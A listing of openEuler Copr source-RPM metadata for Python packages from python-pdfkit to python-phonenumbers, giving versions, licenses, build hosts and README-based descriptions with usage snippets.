# packages

pkgId: bdf9d7fe3c9fe4a8e148c75f6a9891e71e11a3724beb990c5395dc385f9c921e
name: python-pdfkit
arch: src
version: 1.0.0
epoch: 0
release: 1
summary: Wkhtmltopdf python wrapper to convert html to pdf using the webkit rendering engine and qt
url: https://pypi.org/project/pdfkit/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ab027d61-27a9-46da-924e-51a5f800da76
location_href: 00004513-python-pdfkit/python-pdfkit-1.0.0-1.src.rpm
checksum_type: sha256
description:
  Python 2 and 3 wrapper for wkhtmltopdf utility to convert HTML to PDF using Webkit.
  This is adapted version of `ruby PDFKit <https://github.com/pdfkit/pdfkit>`_ library, so big thanks to them!


pkgId: fd89e288091d0e5e90ec4533b737a29d49f3bb983d94fd47abf6746aa2793d4a
name: python-pdfminer
arch: src
version: 20191125
epoch: 0
release: 1
summary: PDF parser and analyzer
url: http://github.com/euske/pdfminer
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cd8b834d-34b3-49e9-bc98-325353ed654e
location_href: 00004514-python-pdfminer/python-pdfminer-20191125-1.src.rpm
checksum_type: sha256
description:
  PDFMiner is a text extraction tool for PDF documents.

  [![Build Status](https://travis-ci.org/euske/pdfminer.svg?branch=master)](https://travis-ci.org/euske/pdfminer)
  [![PyPI](https://img.shields.io/pypi/v/pdfminer)](https://pypi.org/project/pdfminer/)

  **Warning**: Starting from version 20191010, PDFMiner supports **Python 3 only**.
  For Python 2 support, check out
  <a href="https://github.com/pdfminer/pdfminer.six">pdfminer.six</a>.



    * Pure Python (3.6 or above).
    * Supports PDF-1.7. (well, almost)
    * Obtains the exact location of text as well as other layout information (fonts, etc.).
    * Performs automatic layout analysis.
    * Can convert PDF into other formats (HTML/XML).
    * Can extract an outline (TOC).
    * Can extract tagged contents.
    * Supports basic encryption (RC4 and AES).
    * Supports various font types (Type1, TrueType, Type3, and CID).
    * Supports CJK languages and vertical writing scripts.
    * Has an extensible PDF parser that can be used for other purposes.




    1. `> pip install pdfminer`
    1. `> pdf2txt.py samples/simple1.pdf`






  pdf2txt.py extracts all the texts that are rendered programmatically.
  It also extracts the corresponding locations, font names, font sizes,
  writing direction (horizontal or vertical) for each text segment.  It
  does not recognize text in images. A password needs to be provided for
  restricted PDF documents.

      > pdf2txt.py [-P password] [-o output] [-t text|html|xml|tag]
                   [-O output_dir] [-c encoding] [-s scale] [-R rotation]
                   [-Y normal|loose|exact] [-p pagenos] [-m maxpages]
                   [-S] [-C] [-n] [-A] [-V]
                   [-M char_margin] [-L line_margin] [-W word_margin]
                   [-F boxes_flow] [-d]
                   input.pdf ...

    * `-P password` : PDF password.
    * `-o output` : Output file name.
    * `-t text|html|xml|tag` : Output type. (default: automatically inferred from the output file name.)
    * `-O output_dir` : Output directory for extracted images.
    * `-c encoding` : Output encoding. (default: utf-8)
    * `-s scale` : Output scale.
    * `-R rotation` : Rotates the page in degree.
    * `-Y normal|loose|exact` : Specifies the layout mode. (only for HTML output.)
    * `-p pagenos` : Processes certain pages only.
    * `-m maxpages` : Limits the number of maximum pages to process.
    * `-S` : Strips control characters.
    * `-C` : Disables resource caching.
    * `-n` : Disables layout analysis.
    * `-A` : Applies layout analysis for all texts including figures.
    * `-V` : Automatically detects vertical writing.
    * `-M char_margin` : Speficies the char margin.
    * `-W word_margin` : Speficies the word margin.
    * `-L line_margin` : Speficies the line margin.
    * `-F boxes_flow` : Speficies the box flow ratio.
    * `-d` : Turns on Debug output.



  dumppdf.py is used for debugging PDFs.
  It dumps all the internal contents in pseudo-XML format.

      > dumppdf.py [-P password] [-a] [-p pageid] [-i objid]
                   [-o output] [-r|-b|-t] [-T] [-O directory] [-d]
                   input.pdf ...

    * `-P password` : PDF password.
    * `-a` : Extracts all objects.
    * `-p pageid` : Extracts a Page object.
    * `-i objid` : Extracts a certain object.
    * `-o output` : Output file name.
    * `-r` : Raw mode. Dumps the raw compressed/encoded streams.
    * `-b` : Binary mode. Dumps the uncompressed/decoded streams.
    * `-t` : Text mode. Dumps the streams in text format.
    * `-T` : Tagged mode. Dumps the tagged contents.
    * `-O output_dir` : Output directory for extracted streams.



    * Replace STRICT variable with something better.
    * Improve the debugging functions.
    * Use logging module instead of sys.stderr.
    * Proper test cases.
    * PEP-8 and PEP-257 conformance.
    * Better documentation.
    * Crypto stream filter support.




    * <a href="http://pybrary.net/pyPdf/">pyPdf</a>
    * <a href="http://www.foolabs.com/xpdf/">xpdf</a>
    * <a href="http://pdfbox.apache.org/">pdfbox</a>
    * <a href="http://mupdf.com/">mupdf</a>


pkgId: d3e77001472d0d87d97a7151738b7ad691fbec8f13e796844c86353f22b5b88d
name: python-pdfminer.six
arch: src
version: 20221105
epoch: 0
release: 1
summary: PDF parser and analyzer
url: https://github.com/pdfminer/pdfminer.six
rpm_license: MIT/X
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6e8cc1a6-2607-426d-b8f1-9674e9e39e8d
location_href: 00009865-python-pdfminer-six/python-pdfminer.six-20221105-1.src.rpm
checksum_type: sha256
description:
  [![Continuous integration](https://github.com/pdfminer/pdfminer.six/actions/workflows/actions.yml/badge.svg)](https://github.com/pdfminer/pdfminer.six/actions/workflows/actions.yml)
  [![PyPI version](https://img.shields.io/pypi/v/pdfminer.six.svg)](https://pypi.python.org/pypi/pdfminer.six/)
  [![gitter](https://badges.gitter.im/pdfminer-six/Lobby.svg)](https://gitter.im/pdfminer-six/Lobby?utm_source=badge&utm_medium)
  *We fathom PDF*
  Pdfminer.six is a community maintained fork of the original PDFMiner. It is a tool for extracting information from PDF
  documents. It focuses on getting and analyzing text data. Pdfminer.six extracts the text from a page directly from the
  sourcecode of the PDF. It can also be used to get the exact location, font or color of the text.
  It is built in a modular way such that each component of pdfminer.six can be replaced easily. You can implement your own
  interpreter or rendering device that uses the power of pdfminer.six for other purposes than text analysis.
  Check out the full documentation on
  [Read the Docs](https://pdfminersix.readthedocs.io).


pkgId: 524f4546b35aa2cf701807fb5df312fa33e39927ab1020b46584698ea86516ca
name: python-pdoc3
arch: src
version: 0.10.0
epoch: 0
release: 1
summary: Auto-generate API documentation for Python projects.
url: https://pdoc3.github.io/pdoc/
rpm_license: AGPL-3.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b921385a-c404-4c99-9e6f-5c3e8df7fb92
location_href: 00010702-python-pdoc3/python-pdoc3-0.10.0-1.src.rpm
checksum_type: sha256
description:
  [![Build Status](https://img.shields.io/github/workflow/status/pdoc3/pdoc/CI?style=for-the-badge)](https://github.com/pdoc3/pdoc/actions)
  [![Code Coverage](https://img.shields.io/codecov/c/gh/pdoc3/pdoc.svg?style=for-the-badge)](https://codecov.io/gh/pdoc3/pdoc)
  [![pdoc3 on PyPI](https://img.shields.io/pypi/v/pdoc3.svg?color=blue&style=for-the-badge)](https://pypi.org/project/pdoc3)
  [![package downloads](https://img.shields.io/pypi/dm/pdoc3.svg?color=skyblue&style=for-the-badge)](https://pypi.org/project/pdoc3)
  [![GitHub Sponsors](https://img.shields.io/github/sponsors/kernc?color=pink&style=for-the-badge)](https://github.com/sponsors/kernc)
  Auto-generate API documentation for Python projects.
  [**Project website**](https://pdoc3.github.io/pdoc/)
  [Documentation]
  [Documentation]: https://pdoc3.github.io/pdoc/doc/pdoc/


pkgId: 78ea7a8eb0394acc471f5129ffe3a29f0b22435b512f25a882cf7853d5369863
name: python-pecan-notario
arch: src
version: 0.0.3
epoch: 0
release: 1
summary: please add a summary manually as the author left a blank one
url: https://github.com/alfredodeza/pecan-notario
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8644814f-292b-460d-84b5-3493fc993026
location_href: 00004518-python-pecan-notario/python-pecan-notario-0.0.3-1.src.rpm
checksum_type: sha256
description:
  JSON validation for Pecan with Notario (http://notario.cafepais.com).
  In its simplest form, you need to define a schema and decorate the
  controller method, like::
      schema = ('foo', True)
      @expose()
      @validate(schema)
      def some_controller(self, **kw):
          return dict()
  The above controller method, using a Notario schema, will require a ``foo``
  key and a ``True`` value otherwise it will (by default) set the HTTP response
  to a ``400`` (invalid request) and add the validation error to ``request.pecan['schema'].errors``.


pkgId: f28e860b9e21b11f1201cd74aad722b9f6e6b6113561bbb73fb4de15b7b081a6
name: python-peewee
arch: src
version: 3.16.0
epoch: 0
release: 1
summary: a little orm
url: https://github.com/coleifer/peewee/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0ea4a780-416f-41e3-b178-d0f3b3a6b35d
location_href: 00004519-python-peewee/python-peewee-3.16.0-1.src.rpm
checksum_type: sha256
description:
  Peewee is a simple and small ORM. It has few (but expressive) concepts, making it easy to learn and intuitive to use.
  * a small, expressive ORM
  * python 2.7+ and 3.4+
  * supports sqlite, mysql, postgresql and cockroachdb
  * tons of `extensions <http://docs.peewee-orm.com/en/latest/peewee/playhouse.html>`_
  New to peewee? These may help:
  * `Quickstart <http://docs.peewee-orm.com/en/latest/peewee/quickstart.html#quickstart>`_
  * `Example twitter app <http://docs.peewee-orm.com/en/latest/peewee/example.html>`_
  * `Using peewee interactively <http://docs.peewee-orm.com/en/latest/peewee/interactive.html>`_
  * `Models and fields <http://docs.peewee-orm.com/en/latest/peewee/models.html>`_
  * `Querying <http://docs.peewee-orm.com/en/latest/peewee/querying.html>`_
  * `Relationships and joins <http://docs.peewee-orm.com/en/latest/peewee/relationships.html>`_


pkgId: ae6d27443f251c61fef992ae03cd459dedd9c893a71ff0bfe467cf3a839739ce
name: python-pefile
arch: src
version: 2023.2.7
epoch: 0
release: 1
summary: Python PE parsing module
url: https://github.com/erocarrera/pefile
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-599aaa5e-68d1-4c70-a7d0-1adb51a67e84
location_href: 00004520-python-pefile/python-pefile-2023.2.7-1.src.rpm
checksum_type: sha256
description:
  pefile, Portable Executable reader module

  All the PE file basic structures are available with their default names as
  attributes of the instance returned.

  Processed elements such as the import table are made available with lowercase
  names, to differentiate them from the upper case basic structure names.

  pefile has been tested against many edge cases such as corrupted and malformed
  PEs as well as malware, which often attempts to abuse the format way beyond its
  standard use. To the best of my knowledge most of the abuse is handled
  gracefully.

  Copyright (c) 2005-2023 Ero Carrera <ero.carrera@gmail.com>


pkgId: de1f79470b6b6f92191a60f514f83120b44da40e48a7c53bfd20ec21f06e657e
name: python-pelican
arch: src
version: 4.8.0
epoch: 0
release: 1
summary: Static site generator supporting Markdown and reStructuredText
url: https://getpelican.com
rpm_license: AGPLv3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1c9aca88-7242-4422-8085-8f1fc920bbaa
location_href: 00004521-python-pelican/python-pelican-4.8.0-1.src.rpm
checksum_type: sha256
description:
  Pelican is a static site generator, written in Python_.
  * Compose content in Markdown_ or reStructuredText_ using your editor of choice
  * Simple command-line tool (re)generates HTML, CSS, and JS from your source content
  * Easy to interface with version control systems and web hooks
  * Completely static output is simple to host anywhere


pkgId: bba80898965d97ba04f580c8377382cfae048a2bd1e0075dc4a941ec3fd13398
name: python-pem
arch: src
version: 21.2.0
epoch: 0
release: 1
summary: Easy PEM file parsing in Python.
url: https://pem.readthedocs.io/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-277b6860-f8b6-40d3-9854-47ae68a671f2
location_href: 00010844-python-pem/python-pem-21.2.0-1.src.rpm
checksum_type: sha256
description:
  *pem* is an MIT_-licensed Python module for parsing and splitting of `PEM files`_, i.e. Base64-encoded DER keys and certificates.
  It runs on Python 2.7, and 3.5+, has no dependencies, and does not attempt to interpret the certificate data in any way.
  It’s born from the need to load keys, certificates, trust chains, and DH parameters from various certificate deployments: some servers (like Apache_) expect them to be a separate file, others (like nginx_) expect them concatenated to the server certificate and finally some (like HAProxy_) expect key, certificate, and chain to be in one file.
  With *pem*, your Python application can cope with all of those scenarios:
     >>> import pem
     >>> certs = pem.parse_file("chain.pem")
     >>> certs
     [<Certificate(PEM string with SHA-1 digest '...')>, <Certificate(PEM string with SHA-1 digest '...')>]
     >>> str(certs[0])
     '-----BEGIN CERTIFICATE-----\n...'
  Additionally to the vanilla parsing code, *pem* also contains helpers for Twisted_ that save a lot of boilerplate code.
  *pem* is available from `PyPI <https://pypi.org/project/pem/>`_, its documentation lives at `Read the Docs <https://pem.readthedocs.io/>`_, the code on `GitHub <https://github.com/hynek/pem>`_.


pkgId: a461cabd7bc6577beee30e66f76a51bfb331ce5171d81ff42a7460036e7783fc
name: python-pendulum
arch: src
version: 2.1.2
epoch: 0
release: 1
summary: Python datetimes made easy
url: https://pendulum.eustace.io
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4e9b62bd-6c6d-4b8e-bc6d-cd218bdac6c4
location_href: 00004522-python-pendulum/python-pendulum-2.1.2-1.src.rpm
checksum_type: sha256
description:
  Native ``datetime`` instances are enough for basic cases but when you face more complex use-cases
  they often show limitations and are not so intuitive to work with.
  ``Pendulum`` provides a cleaner and more easy to use API while still relying on the standard library.
  So it's still ``datetime`` but better.
  Unlike other datetime libraries for Python, Pendulum is a drop-in replacement
  for the standard ``datetime`` class (it inherits from it), so, basically, you can replace all your ``datetime``
  instances by ``DateTime`` instances in you code (exceptions exist for libraries that check
  the type of the objects by using the ``type`` function like ``sqlite3`` or ``PyMySQL`` for instance).
  It also removes the notion of naive datetimes: each ``Pendulum`` instance is timezone-aware
  and by default in ``UTC`` for ease of use.
  Pendulum also improves the standard ``timedelta`` class by providing more intuitive methods and properties.


pkgId: 1dc1831ecd247ee3077a87f3df58bd1527f47765ce025bfbddc32855338b2335
name: python-pep562
arch: src
version: 1.1
epoch: 0
release: 1
summary: Backport of PEP 562.
url: https://github.com/facelessuser/pep562
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7372572f-bfd0-4ff9-8484-47f83aea27f6
location_href: 00010148-python-pep562/python-pep562-1.1-1.src.rpm
checksum_type: sha256
description:
  [![Donate via PayPal][donate-image]][donate-link]
  [![Discord][discord-image]][discord-link]
  [![Build][github-ci-image]][github-ci-link]
  [![Coverage Status][codecov-image]][codecov-link]
  [![PyPI Version][pypi-image]][pypi-link]
  [![PyPI - Python Version][python-image]][pypi-link]
  ![License][license-image-mit]





  A backport of PEP 562. Allows controlling a module's `__dir__` and `__getattr__`. Useful for deprecating attributes.
  Works for Python 2.7+. And while it works on Python 3.7, it is recommended to use the official Python 3.7 implementation
  where applicable.

  This module can be installed and used as a dependency, or if desired, it is easy to vendor as the license is quite
  permissible, and the code is contained in a single file.

  Once Python 3.6 is end of life, this module will be irrelevant and will no longer receive active support.



  Installation is done with `pip`:

  ```
  pip install pep562
  ```



  Simply copy the file `pep562/__init__.py` to your project and rename to `pep562`.  Import and use as needed.



  Here is a simple example where we deprecate the attribute `version` for the more standardized `__version__`.

  ```py
  from pep562 import pep562
  import warnings

  __version__ = (1, 0, 0)
  __all__ = ("__version__",)
  __deprecated__ = {
      "version": ("__version__", __version__)
  }

  PY37 = sys.version_info >= (3, 7)


  def __getattr__(name):
      """Get attribute."""

      deprecated = __deprecated__.get(name)
      if deprecated:
          stacklevel = 3 if PY37 else 4
          warnings.warn(
              "'{}' is deprecated. Use '{}' instead.".format(name, deprecated[0]),
              category=DeprecationWarning,
              stacklevel=stacklevel
          )
          return deprecated[1]
      raise AttributeError("module '{}' has no attribute '{}'".format(__name__, name))


  def __dir__():
      """Module directory."""

      return sorted(list(__all__) + list(__deprecated__.keys()))


  pep562(__name__)
  ```



  MIT License

  Copyright (c) 2018 - 2021 Isaac Muse <isaacmuse@gmail.com>

  Permission is hereby granted, free of charge, to any person obtaining a copy
  of this software and associated documentation files (the "Software"), to deal
  in the Software without restriction, including without limitation the rights
  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
  copies of the Software, and to permit persons to whom the Software is
  furnished to do so, subject to the following conditions:

  The above copyright notice and this permission notice shall be included in all
  copies or substantial portions of the Software.

  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  SOFTWARE.

  [github-ci-image]: https://github.com/facelessuser/pep562/workflows/build/badge.svg?branch=master&event=push
  [github-ci-link]: https://github.com/facelessuser/pep562/actions?query=workflow%3Abuild+branch%3Amaster
  [discord-image]: https://img.shields.io/discord/678289859768745989?logo=discord&logoColor=aaaaaa&color=mediumpurple&labelColor=333333
  [discord-link]:https://discord.gg/TWs8Tgr
  [codecov-image]: https://img.shields.io/codecov/c/github/facelessuser/pep562/master.svg?logo=codecov&logoColor=aaaaaa&labelColor=333333
  [codecov-link]: https://codecov.io/github/facelessuser/pep562
  [pypi-image]: https://img.shields.io/pypi/v/pep562.svg?logo=pypi&logoColor=aaaaaa&labelColor=333333
  [pypi-link]: https://pypi.python.org/pypi/pep562
  [python-image]: https://img.shields.io/pypi/pyversions/pep562?logo=python&logoColor=aaaaaa&labelColor=333333
  [license-image-mit]: https://img.shields.io/badge/license-MIT-blue.svg?labelColor=333333
  [donate-image]: https://img.shields.io/badge/Donate-PayPal-3fabd1?logo=paypal
  [donate-link]: https://www.paypal.me/facelessuser


pkgId: 2cffb01fcca3717f98caaada13c504b5f95cc2ad59ff93afc489c3d4394058d9
name: python-pep8-naming
arch: src
version: 0.13.3
epoch: 0
release: 1
summary: Check PEP-8 naming conventions, plugin for flake8
url: https://github.com/PyCQA/pep8-naming
rpm_license: Expat license
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ab32c68a-cb7c-43bb-975f-4e1ef18d5e88
location_href: 00004524-python-pep8-naming/python-pep8-naming-0.13.3-1.src.rpm
checksum_type: sha256
description:
  Check your code against `PEP 8 <https://www.python.org/dev/peps/pep-0008/>`_
  naming conventions.
  This module provides a plugin for ``flake8``, the Python code checker.
  (It replaces the plugin ``flint-naming`` for the ``flint`` checker.)


pkgId: befff8ecf7a9e0fa85e043a83b883254e31cbbc3046624276081d2918204e52d
name: python-peppercorn
arch: src
version: 0.6
epoch: 0
release: 1
summary: A library for converting a token stream into a data structure for use in web form posts
url: https://docs.pylonsproject.org/projects/peppercorn/en/latest/
rpm_license: BSD-derived (http://www.repoze.org/LICENSE.txt)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-53470d7f-ac8a-4b7f-99ba-77f364c9e97f
location_href: 00010712-python-peppercorn/python-peppercorn-0.6-1.src.rpm
checksum_type: sha256
description:
  A library for converting a token stream into a data structure comprised of
  sequences, mappings, and scalars, developed primarily for converting HTTP form
  post data into a richer data structure.  It runs on Python 2.7, 3.4, 3.5, 3.6
  and 3.7.
  Please see https://docs.pylonsproject.org/projects/peppercorn/en/latest/
  for the documentation.
  See https://github.com/Pylons/peppercorn for in-development version.


pkgId: d45f9286e002f5595568bca74722dd65ac4c1d66f51ae925f88a9127fae18467
name: python-persist-queue
arch: src
version: 0.8.0
epoch: 0
release: 1
summary: A thread-safe disk based persistent queue in Python.
url: http://github.com/peter-wangxu/persist-queue
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3eb7614c-2b77-41a6-a30d-a7d7dc6830a5
location_href: 00004526-python-persist-queue/python-persist-queue-0.8.0-1.src.rpm
checksum_type: sha256
description:
  ``persist-queue`` implements a file-based queue and a serial of sqlite3-based queues. The goals is to achieve following requirements:
  * Disk-based: each queued item should be stored in disk in case of any crash.
  * Thread-safe: can be used by multi-threaded producers and multi-threaded consumers.
  * Recoverable: Items can be read after process restart.
  * Green-compatible: can be used in ``greenlet`` or ``eventlet`` environment.
  While *queuelib* and *python-pqueue* cannot fulfil all of above. After some try, I found it's hard to achieve based on their current
  implementation without huge code change. this is the motivation to start this project.
  By default, *persist-queue* use *pickle* object serialization module to support object instances.
  Most built-in type, like `int`, `dict`, `list` are able to be persisted by `persist-queue` directly, to support customized objects,
  please refer to `Pickling and unpickling extension types(Python2) <https://docs.python.org/2/library/pickle.html#pickling-and-unpickling-normal-class-instances>`_
  and `Pickling Class Instances(Python3) <https://docs.python.org/3/library/pickle.html#pickling-class-instances>`_
  This project is based on the achievements of `python-pqueue <https://github.com/balena/python-pqueue>`_
  and `queuelib <https://github.com/scrapy/queuelib>`_
  Slack channels
  ^^^^^^^^^^^^^^
  Join `persist-queue <https://join.slack
  .com/t/persist-queue/shared_invite
  /enQtOTM0MDgzNTQ0MDg3LTNmN2IzYjQ1MDc0MDYzMjI4OGJmNmVkNWE3ZDBjYzg5MDc0OWUzZDJkYTkwODdkZmYwODdjNjUzMTk3MWExNDE>`_ channel


pkgId: 5ef42cb5ab0b55bf374f77b79ed82d615b7033db5137c7f6beb2e9390dbcfd09
name: python-pexpect
arch: src
version: 4.8.0
epoch: 0
release: 1
summary: Pexpect allows easy control of interactive console applications.
url: https://pexpect.readthedocs.io/
rpm_license: ISC license
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a96cc28e-c9e8-45af-819d-68aa923259d4
location_href: 00008975-python-pexpect/python-pexpect-4.8.0-1.src.rpm
checksum_type: sha256
description:
  Pexpect is a pure Python module for spawning child applications; controlling
  them; and responding to expected patterns in their output. Pexpect works like
  Don Libes' Expect. Pexpect allows your script to spawn a child application and
  control it as if a human were typing commands.

  Pexpect can be used for automating interactive applications such as ssh, ftp,
  passwd, telnet, etc. It can be used to a automate setup scripts for duplicating
  software package installations on different servers. It can be used for
  automated software testing. Pexpect is in the spirit of Don Libes' Expect, but
  Pexpect is pure Python.

  The main features of Pexpect require the pty module in the Python standard
  library, which is only available on Unix-like systems. Some features—waiting
  for patterns from file descriptors or subprocesses—are also available on
  Windows.


pkgId: f7ca7bfdae8fba17f2d0c301f6f44a5d7ff76fab2d6c3fc6a1d35168ddca9adc
name: python-pgcli
arch: src
version: 3.5.0
epoch: 0
release: 1
summary: CLI for Postgres Database. With auto-completion and syntax highlighting.
url: http://pgcli.com
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f093d570-1fd9-4596-9c06-5288acf809f8
location_href: 00013372-python-pgcli/python-pgcli-3.5.0-1.src.rpm
checksum_type: sha256
description:
  Ukrainian people are fighting for their country. A lot of civilians, women and children, are suffering. Hundreds were killed and injured, and thousands were displaced.
  This is an image from my home town, Kharkiv. This place is right in the old city center.
  Picture by @fomenko_ph (Telegram).
  Please consider donating or volunteering.
  * https://bank.gov.ua/en/
  * https://savelife.in.ua/en/donate/
  * https://www.comebackalive.in.ua/donate
  * https://www.globalgiving.org/projects/ukraine-crisis-relief-fund/
  * https://www.savethechildren.org/us/where-we-work/ukraine
  * https://www.facebook.com/donate/1137971146948461/
  * https://donate.wck.org/give/393234#!/donation/checkout
  * https://atlantaforukraine.com/


pkgId: 8323e984e3a77969e6eaf35ff235fd7ca8791b5f019775ddce91ff9a51f96eae
name: python-pgeocode
arch: src
version: 0.4.0
epoch: 0
release: 1
summary: Approximate geocoding
url: https://pypi.org/project/pgeocode/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-23cf8eba-de61-40b3-8e1b-63b08097fa08
location_href: 00010948-python-pgeocode/python-pgeocode-0.4.0-1.src.rpm
checksum_type: sha256
description:
  |pypi| |condaforge| |rdfd| |GHactions|
  Postal code geocoding and distance calculations
  pgeocode is a Python library for high performance off-line querying of GPS coordinates, region name and municipality name
  from postal codes. Distances between postal codes as well as general
  distance queries are also supported.
  The used `GeoNames <http://download.geonames.org/export/zip/>`_ database includes postal codes for 83 countries.
  Currently, only queries within the same country are supported.
  For additional documentation see `pgeocode.readthedocs.io <https://pgeocode.readthedocs.io>`_.


pkgId: 7439bada992289d40a69118b16b130eda14dbfe252de7cb695e05ce1df96093c
name: python-pgmpy
arch: src
version: 0.1.22
epoch: 0
release: 1
summary: A library for Probabilistic Graphical Models
url: https://github.com/pgmpy/pgmpy
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f695ed32-c04f-4d8e-a992-5277fb55d8ba
location_href: 00012260-python-pgmpy/python-pgmpy-0.1.22-1.src.rpm
checksum_type: sha256
description:
  ![Build](https://github.com/pgmpy/pgmpy/actions/workflows/ci.yml/badge.svg?branch=dev)
  [![codecov](https://codecov.io/gh/pgmpy/pgmpy/branch/dev/graph/badge.svg)](https://codecov.io/gh/pgmpy/pgmpy)
  [![Codacy Badge](https://api.codacy.com/project/badge/Grade/78a8256c90654c6892627f6d8bbcea14)](https://www.codacy.com/gh/pgmpy/pgmpy?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=pgmpy/pgmpy&amp;utm_campaign=Badge_Grade)
  [![Downloads](https://img.shields.io/pypi/dm/pgmpy.svg)](https://pypistats.org/packages/pgmpy)
  [![Join the chat at https://gitter.im/pgmpy/pgmpy](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/pgmpy/pgmpy?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
  [![asv](http://img.shields.io/badge/benchmarked%20by-asv-blue.svg?style=flat)](http://pgmpy.org/pgmpy-benchmarks/)
  pgmpy is a python library for working with Probabilistic Graphical Models.
  Documentation  and list of algorithms supported is at our official site http://pgmpy.org/
  Examples on using pgmpy: https://github.com/pgmpy/pgmpy/tree/dev/examples
  Basic tutorial on Probabilistic Graphical models using pgmpy: https://github.com/pgmpy/pgmpy_notebook
  Our mailing list is at https://groups.google.com/forum/#!forum/pgmpy .
  We have our community chat at [gitter](https://gitter.im/pgmpy/pgmpy).


pkgId: 415a62e20c927275ee901cd912ccf78d079bd7a9b2a241f06915fb51407209cc
name: python-pgpdump
arch: src
version: 1.5
epoch: 0
release: 1
summary: PGP packet parser library
url: https://github.com/toofishes/python-pgpdump
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-914fa0ae-d383-4b05-896e-24b0bf378fe2
location_href: 00004534-python-pgpdump/python-pgpdump-1.5-1.src.rpm
checksum_type: sha256
description:
  This is based on the C version published at:
  http://www.mew.org/~kazu/proj/pgpdump/

  The intent here is not on completeness, as we don't currently decode every
  packet type, but on being able to do what people actually have to 95% of the
  time. Currently supported things include:

  * Signature packets
  * Public key packets
  * Secret key packets
  * Trust, user ID, and user attribute packets
  * ASCII-armor decoding and CRC check

  A single codebase with dependencies on only the standard python library is
  compatible across Python 2.6, 2.7, and 3.2+, as well as with PyPy 1.8+.


pkgId: ebebd53f34f44fbeb5d6d8b5295ccd4ed5d5176637dadb2fcd130926634f7c59
name: python-pgsanity
arch: src
version: 0.2.9
epoch: 0
release: 1
summary: Check syntax of sql for PostgreSQL
url: http://github.com/markdrago/pgsanity
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-049112e3-9b23-452c-9f7b-7b7a32eee9d7
location_href: 00013022-python-pgsanity/python-pgsanity-0.2.9-1.src.rpm
checksum_type: sha256
description:
  **PgSanity checks the syntax of Postgresql SQL files.**

  It does this by leveraging the ecpg command which is traditionally
  used for preparing C files with embedded sql for compilation.
  However, as part of that preparation, ecpg checks the embedded SQL
  statements for syntax errors using the exact same parser that is
  in PostgreSQL.

  So the approach that PgSanity takes is to take a file that has a
  list of bare SQL in it, make that file look like a C file with
  embedded SQL, run it through ecpg and let ecpg report on the syntax
  errors of the SQL.


pkgId: 18b7dfd3594c757acd94e0436b75f3be61cdcbb1c3a4d0f1db67c3b71d8c78cc
name: python-pgspecial
arch: src
version: 2.0.1
epoch: 0
release: 1
summary: Meta-commands handler for Postgres Database.
url: https://www.dbcli.com
rpm_license: LICENSE.txt
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-93ed58c5-2fde-4935-af5b-b3b7571149a8
location_href: 00004535-python-pgspecial/python-pgspecial-2.0.1-1.src.rpm
checksum_type: sha256
description:
  |Build Status|  |PyPI|
  This package provides an API to execute meta-commands (AKA "special", or
  "backslash commands") on PostgreSQL.


pkgId: 325dec03249fab4612defb67920ec3253c06ef6879e6cdd54384ef7056fdc49b
name: python-phonenumbers
arch: src
version: 8.13.7
epoch: 0
release: 1
url: https://github.com/daviddrysdale/python-phonenumbers
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7e9a4fc1-8a9f-4505-bb3d-ef2572aa7468
